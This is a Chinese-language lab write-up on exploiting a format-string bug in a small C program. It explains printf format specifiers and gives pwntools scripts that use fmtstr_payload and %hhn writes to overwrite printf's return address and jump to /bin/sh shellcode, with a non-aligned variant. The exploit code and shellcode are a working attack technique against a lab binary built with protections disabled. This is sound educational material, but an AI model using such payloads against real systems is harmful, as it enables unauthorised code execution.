目录
一、实验介绍
二、漏洞原理分析
三、 编写exploit脚本
一、实验介绍
1、实验环境:
Distributor ID: Ubuntu
Description: Ubuntu 16.04.1 LTS
Release: 16.04
Codename: xenial
2、实验工具:
gdb
3、实验程序
//e1.c
int main(int argv,char **argc) {
/* Can you do it changing the stack? */
/* Can you do it without changing it? */
printf(argc[1]);
while(1);
}
4、实验目的
构造格式化字符串,覆写printf的返回地址,执行shellcode。
5、关闭ALSR
6、编译程序:关闭DEP与SSP
二、漏洞原理分析
格式化字符漏洞的原理网上相关文章很多,这里就只做简单的介绍。
以printf函数为例:
//printf(“format”, 输出表列)
//“安全地”使用:
char str[100];
scanf(“%s”, str);
printf(“%s”, str);
//“不安全地”使用:
char str[100];
scanf(“%s”, str);
printf(str);
因为printf允许参数个数不固定,所以当“不安全地”使用时,会将字符当作format参数,而用其后内存中的数据匹配format参数。
例:
1、若str就是“hello world”,则直接输出“hello world”;
2、如str是format,比如是%2$x,则输出偏移2处的16进制数据0x12345678。
所以通过组合使用格式控制符,我们可以读取任意偏移处的数据或向任意偏移处写数据,从而达到利用格式化字符串漏洞的作用。
三、编写exploit
总体的思路就是将printf的返回地址覆写为shellcode的地址,从而当printf执行完后,跳转到shellcode的地址处,执行shellcode。
这里我们主要利用三个格式控制符:%c、%$和%hhn。
%<num>c //打印字符,宽度为num
%<num>$ //访问第num个参数
printf(“test%2$s”, “12”, “123”);//结果:test123(直接使用第二个参数)
%hhn
printf(“test%hhn”,var);//结果:值04存储在var中(一个字节)
举个栗子:
str="\x7c\xd4\xff\xff\x7d\xd4\xff\xff\x7e\xd4\xff\xff\x7f\xd4\xff\xff%65c%165$hhn";
printf(str);
则向地址0xffffd47c写入65+16=81=0x51。165:存储此字符串地址的地址,与此字符串的地址之间的偏移量(四个字节为一个单位)。
但是如果手动构造这些字符串则太过麻烦,这里我们利用fmtstr_payload()来生成所需要的字符串。
fmtstr_payload( offset, writes, numbwritten=0,write_size=‘byte’)
//offset: 可控的栈偏移
//writes:是一个字典{addr:value}
//numbwritten : 通过printf函数已经写入的字节大小
//write_size : 必须是byte, short或int,表示是%hhn, %hn或%n传数据
#地址对齐
from pwn import *
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3"
shellcode += "\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"
offset = 165 #偏移
print_retloc = 0xffffd47c #存储print函数返回地址的地址
fmtstr_len = 61 #61是利用fmtstr_payload生成的格式化字符串的长度
buf_addr = 0xffffd714 #命令行参数的地址
shellcode_addr = buf_addr + fmtstr_len
#shellcode的地址=命令行参数的地址+ fmtstr_payload生成的格式化字符串的长度
print ("%x"%shellcode_addr) #打印shellcode的地址
payload = fmtstr_payload(offset, {print_retloc:shellcode_addr}) + shellcode +"\x90" * 3
#生成payload,“\x90” * 3用于地址对齐
print len(payload) - len(shellcode) – 3 #打印fmtstr_len
print (payload)
p = gdb.debug(['e1', payload],exe='./e1',gdbscript='''
break main
continue''')
p.interactive()
这是我们调试时使用的脚本,脚本中一些关键参数的值需要我们进行不断调整,以找到合适的值。
1、shellcode_addr = 0xffffd751
2、offset=(0xffffd714 – 0xffffd480)/4=660 / 4=165
offset这个值是用来表明字符串作为printf函数参数入栈时的栈地址,与存储该字符串的地址之间的偏移量。偏移量以四个字节为一个单位。需注意的是两个地址的差值必须要能被4整除,即需要满足地址对齐。因为格式控制符%<num>$取得是format后的第num个偏移中的值,所以如果无法整除,在取参数时会出现错误。
可见此时地址是对齐的。
3、print_retloc = 0xffffd47c
这个值就是存储printf返回地址的地址。
已用shellcode的地址覆写了printf的返回地址,将继续执行shellcode。
再看看地址未对齐是什么情况
#地址未对齐
from pwn import *
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3"
shellcode += "\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"
offset = 165 #偏移
print_retloc = 0xffffd47c #存储print函数返回地址的地址
fmtstr_len = 61 #61是利用fmtstr_payload生成的格式化字符串的长度
buf_addr = 0xffffd714 #命令行参数的地址
shellcode_addr = buf_addr + fmtstr_len
#shellcode的地址=命令行参数的地址+ fmtstr_payload生成的格式化字符串的长度
print ("%x"%shellcode_addr) #打印shellcode的地址
payload = fmtstr_payload(offset, {print_retloc:shellcode_addr}) + shellcode
#生成payload,地址未对齐
print len(payload) - len(shellcode) – 3 #打印fmtstr_len
print (payload)
p = gdb.debug(['e1', payload],exe='./e1',gdbscript='''
break main
continue''')
p.interactive()
此时的buf_addr = 0xffffd717,offset = (0xffffd717 - 0xffffd480) / 4 =663 /4,很显然无法整除。
地址未对齐,取地址时会取出错误的值,在赋值阶段出现段错误。